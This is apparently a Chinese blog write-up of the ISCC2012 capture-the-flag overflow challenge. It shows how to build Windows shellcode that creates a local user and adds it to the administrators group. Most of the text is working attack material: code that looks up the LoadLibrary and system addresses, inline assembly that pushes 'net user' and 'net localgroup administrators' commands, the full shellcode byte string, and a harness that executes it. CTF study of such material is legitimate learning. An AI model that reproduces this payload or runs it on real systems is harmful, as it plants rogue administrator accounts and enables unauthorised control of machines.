ISCC2012 溢出关的一些蛋疼想法

溢出关只有两道题,好像最近溢出的漏洞比较少了,也没有什么经典例子可以举吧。

溢出第一关:试一试或者手动推算一下,这个比较简单。

溢出第二关:题目要求写一个添加用户的shellcode,理论来说不算很难但是比较麻烦,也有点蛋疼。

第一步是查找LoadLibrary和system两个函数在内存中的地址

typedef void (*MYPROC)(LPTSTR);

LoadLibaray函数地址这样查找,其中kernel32.dll是贮存在内存中特定的写保护区域的,LoadLibarayA对应ASCII     LoadLibraryW对应unicode

        HMODULE ModuleHandle;
	ModuleHandle = GetModuleHandle("kernel32.dll");
	ProcAdd = (MYPROC) GetProcAddress(ModuleHandle,"LoadLibraryA");
	printf("%x\n",ProcAdd);//7c801d7b
 
 

 system函数地址这样查找 
 

	LibHandle = LoadLibrary("msvcrt.dll");
	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"system");
	printf("%x\n",ProcAdd);

找到函数的内存地址之后,使用VC++的内联asm写一下汇编的代码,这里要注意几点

把字符串参数压入栈的时候,末尾一定要补0,代表字符串结尾,分配给字符串参数的地址空间一定是4的整数倍,这个我也不是很清楚为什么,我觉得可能是POP PUSH 所处理参数进栈的时候,每次压入一个32位寄存器,正好占4个内存地址单元。

我们使用 SUB ESP 的方法使参数进栈,也要符合PUSH的规律。


每开始执行一个函数时要初始化堆栈,EBP入栈,把EBP移到栈顶,这样保护当前栈中数据,并为子程序分配堆栈空间。

结束的时候平衡堆栈EBP出栈,平衡堆栈,这一点很重要。

__asm{
      //LoadLibrary("msvert.dll");
      push ebp;
      mov ebp,esp;
      sub esp,0ch ;
      mov byte ptr [ebp-0ch],6Dh;  
      mov byte ptr [ebp-0bh],73h;
      mov byte ptr [ebp-0ah],76h;
      mov byte ptr [ebp-09h],63h;
      mov byte ptr [ebp-08h],72h;
      
      mov byte ptr [ebp-07h],74h;
      mov byte ptr [ebp-06h],2Eh;
      mov byte ptr [ebp-05h],64h;
      mov byte ptr [ebp-04h],6Ch;
      mov byte ptr [ebp-03h],6Ch;


      mov byte ptr [ebp-02h],0h;


      lea eax,[ebp-0ch];
      push eax;
      mov eax,0x7c801d7b;
      call eax;


      mov esp,ebp;
      pop ebp;
      //system(net user wyl wyl /add);
      push ebp;
      mov ebp,esp;
      sub esp,18h ;
      mov byte ptr [ebp-18h],6eh ; //n
      mov byte ptr [ebp-17h],65h ; //e
      mov byte ptr [ebp-16h],74h ; //t
      mov byte ptr [ebp-15h],20h ;  
      mov	byte ptr [ebp-14h],75h ; //u


      mov byte ptr [ebp-13h],73h ; //s
      mov byte ptr [ebp-12h],65h ; //e
      mov byte ptr [ebp-11h],72h ; //r
      mov byte ptr [ebp-10h],20h ; 	
      mov byte ptr [ebp-0fh],78h ; //x


      mov byte ptr [ebp-0eh],6bh ; //k
      mov byte ptr [ebp-0dh],6ah ; //j
      mov byte ptr [ebp-0ch],63h ; //c
      mov byte ptr [ebp-0bh],66h ; //f
      mov byte ptr [ebp-0ah],20h ; // 


      mov byte ptr [ebp-09h],2fh ; //
      mov byte ptr [ebp-08h],61h ; //a
      mov byte ptr [ebp-07h],64h ; //d
      mov byte ptr [ebp-06h],64h ; //d
      mov byte ptr [ebp-05h],0h ;  //0


      lea eax,[ebp-18h] ;
      push eax ;
      mov eax ,0x77bf93c7 ;
      call eax;
      mov esp,ebp;
      pop ebp;




      //system(net localgroup administrators wyl /add);
      push ebp;
      mov ebp ,esp;
      sub esp,2ch ;
      mov byte ptr [ebp-2ch],6eh ; //n
      mov byte ptr [ebp-2bh],65h ; //e
      mov byte ptr [ebp-2ah],74h ; //t
      mov byte ptr [ebp-29h],20h ;  
      mov	byte ptr [ebp-28h],6ch ; //l


      mov byte ptr [ebp-27h],6fh ; //o
      mov byte ptr [ebp-26h],63h ; //c
      mov byte ptr [ebp-25h],61h ; //a
      mov byte ptr [ebp-24h],6ch ; //l	
      mov byte ptr [ebp-23h],67h ; //g


      mov byte ptr [ebp-22h],72h ; //r
      mov byte ptr [ebp-21h],6fh ; //o
      mov byte ptr [ebp-20h],75h ; //u
      mov byte ptr [ebp-1fh],70h ; //p
      mov byte ptr [ebp-1eh],20h ; 


      mov byte ptr [ebp-1dh],61h ; //a
      mov byte ptr [ebp-1ch],64h ; //d
      mov byte ptr [ebp-1bh],6dh ; //m
      mov byte ptr [ebp-1ah],69h ; //i
      mov byte ptr [ebp-19h],6eh ; //n
      mov byte ptr [ebp-18h],69h ; //i


      mov byte ptr [ebp-17h],73h ; //s
      mov byte ptr [ebp-16h],74h ; //t
      mov byte ptr [ebp-15h],72h ; //r
      mov byte ptr [ebp-14h],61h ; //a
      mov byte ptr [ebp-13h],74h ; //t
      mov byte ptr [ebp-12h],6fh ; //o


      mov byte ptr [ebp-11h],72h ; //r
      mov byte ptr [ebp-10h],73h ; //s
      mov byte ptr [ebp-0fh],20h ; 


      mov byte ptr [ebp-0eh],78h ; //x
      mov byte ptr [ebp-0dh],6bh ; //k
      mov byte ptr [ebp-0ch],6ah ; //j
      mov byte ptr [ebp-0bh],63h ; //c
      mov byte ptr [ebp-0ah],66h ; //f
      
      mov byte ptr [ebp-09h],20h ;
      mov byte ptr [ebp-08h],2fh ;//
      mov byte ptr [ebp-07h],61h ;//a
      mov byte ptr [ebp-06h],64h ;//d
      mov byte ptr [ebp-05h],64h ;//d
      mov byte ptr [ebp-04h],0h  ;//0


      lea eax,[ebp-2ch] ;
      push eax ;
      mov eax ,0x77bf93c7 ;
      call eax;


      mov esp,ebp;
      pop ebp;
	}

关于怎么把汇编转换成机器码,我是直接在VC6.0调试的时候,根据EIP去找内存,直接粘贴出来就行了,最后的shellcode是这样。

不要忘记在最后加上\xC3  他的汇编代码是 ret 让EIP从shellcode中返回主程序

#include "stdafx.h"
#include <stdio.h>


unsigned char shellcode[] =
"\x55\x8B\xEC\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6"
"\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD"
"\x6C\xC6\x45\xFE\x00\x8D\x45\xF4\x50\xB8\x7B\x1D\x80\x7C\xFF"
"\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x18\xC6\x45\xE8\x6E\xC6"
"\x45\xE9\x65\xC6\x45\xEA\x74\xC6\x45\xEB\x20\xC6\x45\xEC\x75"
"\xC6\x45\xED\x73\xC6\x45\xEE\x65\xC6\x45\xEF\x72\xC6\x45\xF0"
"\x20\xC6\x45\xF1\x78\xC6\x45\xF2\x6B\xC6\x45\xF3\x6A\xC6\x45"
"\xF4\x63\xC6\x45\xF5\x66\xC6\x45\xF6\x20\xC6\x45\xF7\x2F\xC6"
"\x45\xF8\x61\xC6\x45\xF9\x64\xC6\x45\xFA\x64\xC6\x45\xFB\x00"
"\x8D\x45\xE8\x50\xB8\xC7\x93\xBF\x77\xFF\xD0\x8B\xE5\x5D\x55"
"\x8B\xEC\x83\xEC\x2C\xC6\x45\xD4\x6E\xC6\x45\xD5\x65\xC6\x45"
"\xD6\x74\xC6\x45\xD7\x20\xC6\x45\xD8\x6C\xC6\x45\xD9\x6F\xC6"
"\x45\xDA\x63\xC6\x45\xDB\x61\xC6\x45\xDC\x6C\xC6\x45\xDD\x67"
"\xC6\x45\xDE\x72\xC6\x45\xDF\x6F\xC6\x45\xE0\x75\xC6\x45\xE1"
"\x70\xC6\x45\xE2\x20\xC6\x45\xE3\x61\xC6\x45\xE4\x64\xC6\x45"
"\xE5\x6D\xC6\x45\xE6\x69\xC6\x45\xE7\x6E\xC6\x45\xE8\x69\xC6"
"\x45\xE9\x73\xC6\x45\xEA\x74\xC6\x45\xEB\x72\xC6\x45\xEC\x61"
"\xC6\x45\xED\x74\xC6\x45\xEE\x6F\xC6\x45\xEF\x72\xC6\x45\xF0"
"\x73\xC6\x45\xF1\x20\xC6\x45\xF2\x78\xC6\x45\xF3\x6B\xC6\x45"
"\xF4\x6A\xC6\x45\xF5\x63\xC6\x45\xF6\x66\xC6\x45\xF7\x20\xC6"
"\x45\xF8\x2F\xC6\x45\xF9\x61\xC6\x45\xFA\x64\xC6\x45\xFB\x64"
"\xC6\x45\xFC\x00\x8D\x45\xD4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0"
"\x8B\xE5\x5D\xC3";




int main(int argc, char* argv[])
{
    ((void (*)())&shellcode)();  
    return 0;
}



你可能感兴趣的:(c,汇编,user,System,byte)